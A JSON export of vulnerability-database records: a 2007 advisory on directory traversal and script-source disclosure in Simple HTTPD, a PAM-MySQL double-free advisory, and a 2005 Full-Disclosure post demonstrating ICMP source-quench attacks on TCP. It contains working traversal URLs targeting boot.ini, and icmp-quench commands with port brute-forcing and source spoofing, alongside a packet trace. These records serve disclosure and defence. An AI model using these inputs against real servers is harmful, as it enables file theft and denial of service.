{"securityvulns": [{"lastseen": "2018-08-31T11:10:24", "bulletinFamily": "software", "description": "\r\n#######################################################################\r\n\r\n Luigi Auriemma\r\n\r\nApplication: Simple HTTPD\r\n http://shttpd.sourceforge.net\r\nVersions: <= 1.38\r\nPlatforms: Windows, *nix, QNX, RTEMS\r\n only Windows seems vulnerable\r\nBugs: A] directory traversal\r\n B] scripts and CGI viewing/downloading\r\n (%20 char found by Shay priel in Jun 2007)\r\nExploitation: remote\r\nDate: 07 Dec 2007\r\nAuthor: Luigi Auriemma\r\n e-mail: aluigi@autistici.org\r\n web: aluigi.org\r\n\r\n\r\n#######################################################################\r\n\r\n\r\n1) Introduction\r\n2) Bugs\r\n3) The Code\r\n4) Fix\r\n\r\n\r\n#######################################################################\r\n\r\n===============\r\n1) Introduction\r\n===============\r\n\r\n\r\nSimple HTTPD (shttpd) is an open source web server created for embedded\r\nsystems.\r\n\r\n\r\n#######################################################################\r\n\r\n=======\r\n2) Bugs\r\n=======\r\n\r\n----------------------\r\nA] directory traversal\r\n----------------------\r\n\r\nUsing the "..\" pattern is possible to download any file in the disk on\r\nwhich is located the web root directory.\r\n\r\n\r\n--------------------------------------\r\nB] scripts and CGI viewing/downloading\r\n--------------------------------------\r\n\r\nAny script or CGI in the server can be viewed/downloaded instead of\r\nbeing executed simply appending the chars '+', '.', %20 (this one\r\nreported by Shay priel in the summer 2007), %2e and any other byte (in\r\nhex format too) major than 0x7f to the requested filename.\r\n\r\n\r\nNote that only Windows seems vulnerable to the above bugs.\r\n\r\n\r\n#######################################################################\r\n\r\n===========\r\n3) The Code\r\n===========\r\n\r\n\r\nA]\r\nhttp://SERVER/..\..\..\boot.ini\r\nhttp://SERVER/..\%2e%2e%5c..\boot.ini\r\n\r\nB]\r\nhttp://SERVER/file.php+\r\nhttp://SERVER/file.php.\r\nhttp://SERVER/file.php%80\r\nhttp://SERVER/file.php%ff\r\n\r\n\r\n#######################################################################\r\n\r\n======\r\n4) Fix\r\n======\r\n\r\n\r\nI have posted the problems in the shttpd-general mailing-list but there\r\nis no reply yet:\r\n\r\n http://sourceforge.net/mailarchive/forum.php?forum_name=shttpd-general\r\n\r\n\r\n#######################################################################\r\n\r\n\r\n--- \r\nLuigi Auriemma\r\nhttp://aluigi.org", "modified": "2007-12-09T00:00:00", "published": "2007-12-09T00:00:00", "id": "SECURITYVULNS:DOC:18598", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:18598", "title": "Two vulnerabilities in Simple HTTPD 1.38", "type": "securityvulns", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-08-31T11:09:27", "bulletinFamily": "software", "description": "Directory traversal, script source code access.", "modified": "2007-12-09T00:00:00", "published": "2007-12-09T00:00:00", "id": "SECURITYVULNS:VULN:8426", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:8426", "title": "Simple HTTPD multiple security vulnerabilities", "type": "securityvulns", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-08-31T11:10:15", "bulletinFamily": "software", "description": "\r\nTITLE:\r\nPAM-MySQL SQL Logging and Authentication Vulnerabilities\r\n\r\nSECUNIA ADVISORY ID:\r\nSA18598\r\n\r\nVERIFY ADVISORY:\r\nhttp://secunia.com/advisories/18598/\r\n\r\nCRITICAL:\r\nModerately critical\r\n\r\nIMPACT:\r\nDoS, System access\r\n\r\nWHERE:\r\n>From remote\r\n\r\nSOFTWARE:\r\nPAM-MySQL 0.x\r\nhttp://secunia.com/product/7880/\r\n\r\nDESCRIPTION:\r\nSome vulnerabilities have been reported in PAM-MySQL, which\r\npotentially can be exploited by malicious people to cause a DoS\r\n(Denial of Service) or compromise a vulnerable system.\r\n\r\n1) An unspecified error in the SQL logging facility can potentially\r\nbe exploited to cause a DoS.\r\n\r\n2) A double-free error exists in the authentication and\r\nauthentication token alteration code when handling a pointer returned\r\nby the "pam_get_item()" function. This can be exploited by supplying a\r\nspecially crafted password, which results in a DoS or can potentially\r\nbe exploited to execute arbitrary code.\r\n\r\nThe vulnerabilities have been reported in versions 0.6.1 and 0.7pre2.\r\nPrior versions may also be affected.\r\n\r\nSOLUTION:\r\nUpdate to version 0.6.2.\r\n\r\nThe vulnerabilities have also been addressed in version 0.7pre3.\r\n\r\nPROVIDED AND/OR DISCOVERED BY:\r\nReported by the vendor.\r\n\r\nORIGINAL ADVISORY:\r\nPAM-MySQL:\r\nhttp://pam-mysql.sourceforge.net/News/00005.php\r\nhttp://sourceforge.net/forum/forum.php?forum_id=499394\r\n\r\nJVN:\r\nhttp://jvn.jp/cert/JVNVU%23693909/index.html\r\n\r\nOTHER REFERENCES:\r\nUS-CERT VU#693909:\r\nhttp://www.kb.cert.org/vuls/id/693909\r\n\r\n----------------------------------------------------------------------\r\n\r\nAbout:\r\nThis Advisory was delivered by Secunia as a free service to help\r\neverybody keeping their systems up to date against the latest\r\nvulnerabilities.\r\n\r\nSubscribe:\r\nhttp://secunia.com/secunia_security_advisories/\r\n\r\nDefinitions: (Criticality, Where etc.)\r\nhttp://secunia.com/about_secunia_advisories/\r\n\r\n\r\nPlease Note:\r\nSecunia recommends that you verify all advisories you receive by\r\nclicking the link.\r\nSecunia NEVER sends attached files with advisories.\r\nSecunia does not advise people to install third party patches, only\r\nuse those supplied by the vendor.\r\n", "modified": "2006-02-13T00:00:00", "published": "2006-02-13T00:00:00", "id": "SECURITYVULNS:DOC:11403", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:11403", "title": "[SA18598] PAM-MySQL SQL Logging and Authentication Vulnerabilities", "type": "securityvulns", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-08-31T11:10:13", "bulletinFamily": "software", "description": "Folks,\r\n\r\nIt seems worthless to try to explain over and over again how trivial it is \r\nto perform ICMP-based attacks against TCP. So I have posted on my web site \r\n(http://www.gont.com.ar/tools/icmp-attacks) the same tools that vendors \r\nwere supposed to use to audit their systems, and test their patches.\r\n\r\nHere is a packet trace that shows the blind throughput-reduction attack in \r\naction, with explanations inline.\r\n\r\nScenario:\r\nWeb-browser (10.0.0.1, TCP port 1063) is downloading a large file from a \r\nweb-server (192.168.0.1, TCP port 80)\r\nFor simplicity-sake, let's assume we know the four-tuple that identifies \r\nthe TCP connection (keep reading for an example in which we don't):\r\n\r\nLet's perform the attack.\r\n\r\n# icmp-quench -c 10.0.0.1:1063 -s 192.168.0.1:80 -t server -r 100\r\n\r\n(The client is at 10.0.0.1, using TCP port 1063. The server is at \r\n192.168.0.1, using port 80. Let's attack the server ("-t server"). Limit \r\nthe throughput used for the *attack* to about 100 kbps)\r\n\r\n\r\n01:47:56.830156 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 71, id 3721) (ttl 188, id 38453)\r\n01:47:56.950062 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 124, id 15000) (ttl 61, id 34927)\r\n01:47:57.070066 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 229, id 25845) (ttl 250, id 45209)\r\n01:47:57.079918 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) \r\nack 291649 win 7312 <nop,nop,timestamp 32232 447226421> (DF) [tos 0xf (EC)] \r\n(ttl 116, id 45064)\r\n\r\nSee that the client (10.0.0.1) advertises a window of 7312 bytes. Thus, as \r\nfar as TCP *flow* control is concerned, the webserver could send as many \r\nbytes as 7312.\r\n\r\n\r\n01:47:57.190091 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 222, id 42066) (ttl 123, id 18038)\r\n01:47:57.310057 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 83, id 45730) (ttl 136, id 41605)\r\n01:47:57.400762 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) \r\nack 293097 win 8760 <nop,nop,timestamp 32235 447226421> (DF) [tos 0xf (EC)] \r\n(ttl 116, id 45320)\r\n01:47:57.430069 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 104, id 26156) (ttl 85, id 48347)\r\n01:47:57.550065 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 249, id 14568) (ttl 238, id 44119)\r\n01:47:57.670079 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 242, id 49311) (ttl 151, id 10965)\r\n01:47:57.746505 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) \r\nack 294545 win 7312 <nop,nop,timestamp 32238 447226423> (DF) [tos 0xf (EC)] \r\n(ttl 116, id 45576)\r\n\r\n\r\nHowever, the ICMP source quench messages have put the connection in the \r\nslow start phase, and thus the server will send only one packet. That is, \r\nTCP's congestion control won't allow the server's TCP to send more than 1 \r\nsegment.\r\n\r\n\r\nThis is the server's data segment:\r\n\r\n01:47:57.750082 192.168.0.1.80 > 10.0.0.1.1063: . 295993:297441(1448) ack \r\n232 win 17376 <nop,nop,timestamp 447226426 32238> (DF) (ttl 64, id 16156)\r\n\r\nHowever, the attacker sends another Source Quench:\r\n\r\n01:47:57.790067 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 63, id 14055) (ttl 108, id 3600)\r\n\r\nAnd thus cwnd will be set back to 1, allowing the server to send only one \r\nsegment:\r\n\r\n\r\n01:47:57.832648 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) \r\nack 295993 win 8760 <nop,nop,timestamp 32238 447226423> (DF) [tos 0xf (EC)] \r\n(ttl 116, id 45832)\r\n01:47:57.836227 192.168.0.1.80 > 10.0.0.1.1063: . 297441:298889(1448) ack \r\n232 win 17376 <nop,nop,timestamp 447226426 32238> (DF) (ttl 64, id 4839)\r\n01:47:57.910080 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 232, id 61992) (ttl 161, id 53393)\r\n01:47:58.030075 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 161, id 60570) (ttl 98, id 2081)\r\n01:47:58.150060 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 118, id 15382) (ttl 171, id 61130)\r\n01:47:58.270074 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 131, id 39528) (ttl 116, id 55998)\r\n01:47:58.390072 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 136, id 57047) (ttl 249, id 50387)\r\n\r\n\r\nHave a look at the following pattern:\r\n\r\n01:47:58.472928 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) \r\nack 297441 win 7312 <nop,nop,timestamp 32245 447226426> (DF) [tos 0xf (EC)] \r\n(ttl 116, id 47368)\r\n01:47:58.476517 192.168.0.1.80 > 10.0.0.1.1063: . 298889:300337(1448) ack \r\n232 win 17376 <nop,nop,timestamp 447226427 32245> (DF) (ttl 64, id 8494)\r\n01:47:58.510066 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 77, id 32815) (ttl 174, id 50351)\r\n\r\nThe web server receives an ACK, so it sends a data segment. But it then \r\nreceives a number of source quench messages, which will keep cwnd at 1. \r\nThus, the throughput of the connection gets limited to one packet per RTT \r\n(round-trip time).\r\n\r\n\r\n01:47:58.630074 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 66, id 6352) (ttl 187, id 37417)\r\n01:47:58.681557 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) \r\nack 298889 win 8760 <nop,nop,timestamp 32247 447226426> (DF) [tos 0xf (EC)] \r\n(ttl 116, id 47624)\r\n01:47:58.685134 192.168.0.1.80 > 10.0.0.1.1063: . 300337:301785(1448) ack \r\n232 win 17376 <nop,nop,timestamp 447226427 32247> (DF) (ttl 64, id 28561)\r\n01:47:58.750068 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 195, id 57048) (ttl 144, id 1692)\r\n01:47:58.877803 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 152, id 10915) (ttl 169, id 39043)\r\n01:47:58.990060 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 109, id 62567) (ttl 166, id 57565)\r\n01:47:59.110058 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 122, id 21511) (ttl 199, id 5731)\r\n01:47:59.230059 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 139, id 650) (ttl 72, id 37585)\r\n01:47:59.236658 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) \r\nack 300337 win 7312 <nop,nop,timestamp 32252 447226427> (DF) [tos 0xf (EC)] \r\n(ttl 116, id 48136)\r\n01:47:59.240247 192.168.0.1.80 > 10.0.0.1.1063: . 301785:303233(1448) ack \r\n232 win 17376 <nop,nop,timestamp 447226429 32252> (DF) (ttl 64, id 13370)\r\n01:47:59.350084 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 96, id 54804) (ttl 97, id 19491)\r\n01:47:59.443666 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) \r\nack 301785 win 8760 <nop,nop,timestamp 32254 447226427> (DF) [tos 0xf (EC)] \r\n(ttl 116, id 48392)\r\n01:47:59.447243 192.168.0.1.80 > 10.0.0.1.1063: . 303233:304681(1448) ack \r\n232 win 17376 <nop,nop,timestamp 447226429 32254> (DF) (ttl 64, id 16919)\r\n01:47:59.470072 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 97, id 18598) (ttl 206, id 23717)\r\n01:47:59.590078 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 194, id 61461) (ttl 111, id 31369)\r\n01:47:59.710058 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 103, id 1646) (ttl 152, id 32425)\r\n01:47:59.830059 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 180, id 58070) (ttl 205, id 57556)\r\n01:47:59.950061 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 229, id 31980) (ttl 206, id 14368)\r\n01:47:59.993763 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) \r\nack 303233 win 7312 <nop,nop,timestamp 32259 447226429> (DF) [tos 0xf (EC)] \r\n(ttl 116, id 48904)\r\n01:47:59.997340 192.168.0.1.80 > 10.0.0.1.1063: . 304681:306129(1448) ack \r\n232 win 17376 <nop,nop,timestamp 447226430 32259> (DF) (ttl 64, id 1204)\r\n01:48:00.070067 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 254, id 60533) (ttl 211, id 48718)\r\n01:48:00.190061 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 143, id 59926) (ttl 248, id 51853)\r\n01:48:00.202233 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) \r\nack 304681 win 8760 <nop,nop,timestamp 32261 447226429> (DF) [tos 0xf (EC)] \r\n(ttl 116, id 49160)\r\n01:48:00.205809 192.168.0.1.80 > 10.0.0.1.1063: . 306129:307577(1448) ack \r\n232 win 17376 <nop,nop,timestamp 447226430 32261> (DF) (ttl 64, id 15196)\r\n01:48:00.310067 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 132, id 20147) (ttl 89, id 21594)\r\n01:48:00.430069 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 221, id 37084) (ttl 134, id 29832)\r\n01:48:00.556726 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 238, id 18625) (ttl 79, id 57860)\r\n01:48:00.634932 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) \r\nack 306129 win 7312 <nop,nop,timestamp 32265 447226430> (DF) [tos 0xf (EC)] \r\n(ttl 116, id 49672)\r\n01:48:00.638510 192.168.0.1.80 > 10.0.0.1.1063: . 307577:309025(1448) ack \r\n232 win 17376 <nop,nop,timestamp 447226431 32265> (DF) (ttl 64, id 27896)\r\n01:48:00.670072 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 187, id 44726) (ttl 132, id 30216)\r\n01:48:00.779869 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) \r\nack 307577 win 8760 <nop,nop,timestamp 32266 447226430> (DF) [tos 0xf (EC)] \r\n(ttl 116, id 49928)\r\n01:48:00.783399 192.168.0.1.80 > 10.0.0.1.1063: . 309025:310473(1448) ack \r\n232 win 17376 <nop,nop,timestamp 447226432 32266> (DF) (ttl 64, id 12684)\r\n01:48:00.790070 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 252, id 6804) (ttl 201, id 43029)\r\n01:48:00.910060 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 173, id 33976) (ttl 182, id 4152)\r\n01:48:01.030059 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 194, id 1202) (ttl 239, id 59037)\r\n01:48:01.150071 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 215, id 21023) (ttl 188, id 33475)\r\n01:48:01.270057 10.0.0.1 > 192.168.0.1: icmp: source quench for \r\n192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 108, id 18051) (ttl 109, id 56328)\r\n\r\n\r\nWe have limited the throughput of the connection to about one packet per \r\nround-trip time.\r\n\r\n\r\nNow, what if we don't know the client port?\r\n\r\nThat's not a problem. It's still pretty easy. You can make icmp-quench try \r\nall the possible port numbers for the client:\r\n\r\n# icmp-quench -c 10.0.0.1:1-65535 -s 192.168.0.1:80 -t server -r 100\r\n\r\n\r\nBut attackers are usually a bit more clever than that. Let's say the \r\nattacker has some tool for OS fingerprinting (nmap, for example).\r\nLet's say he discovers the web server is running Windows. Googling a bit, \r\nthe attacker will know that Windows chooses the port numbers for outgoing \r\nconnections from the range 1024-4999. Thus, he can use icmp-quench this way:\r\n\r\n# icmp-quench -c 10.0.0.1:1024-4999 -s 192.168.0.1:80 -t server -r 100\r\n\r\nBy default, icmp-quench spoofes the source address of the ICMP packets (it \r\nwill use the IP address of the peer that is *not* being attacked... that's \r\nwhy the ICMP packets come from 10.0.0.1 in the packet trace).\r\n\r\nLet's say the attacker now wants to use the address 200.200.0.1 as the \r\nsource address of his packets (to avoid being egress-filtered, for example):\r\n\r\n# icmp-quench -c 10.0.0.1:1024-4999 -s 192.168.0.1:80 -t server -r 100 -f \r\n200.200.0.1\r\n\r\nThe tools have many other options. Run the tool with no options, and learn \r\nabout them\r\nBtw, all the packet fields, when it makes sense, are set by default to some \r\nrandom number (just to avoid your IDS/Firewall messing with your audit tests).\r\n\r\nThe icmp-quench tool is available at \r\nhttp://www.gont.com.ar/tools/icmp-attacks .\r\n\r\nShare it with the people that told you these attacks were not easy to \r\nperform, and show them the packet traces you obtain.\r\n\r\nKindest regards,\r\n\r\n--\r\nFernando Gont\r\ne-mail: fernando@gont.com.ar || fgont@acm.org\r\n\r\n\r\n\r\n\r\n\r\n_______________________________________________\r\nFull-Disclosure - We believe in it.\r\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\r\nHosted and sponsored by Secunia - http://secunia.com/", "modified": "2005-07-20T00:00:00", "published": "2005-07-20T00:00:00", "id": "SECURITYVULNS:DOC:9242", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:9242", "title": "[Full-disclosure] Trivial BGP attacks (ICMP-based blind throughput-reduction attack)", "type": "securityvulns", "cvss": {"score": 0.0, "vector": "NONE"}}]}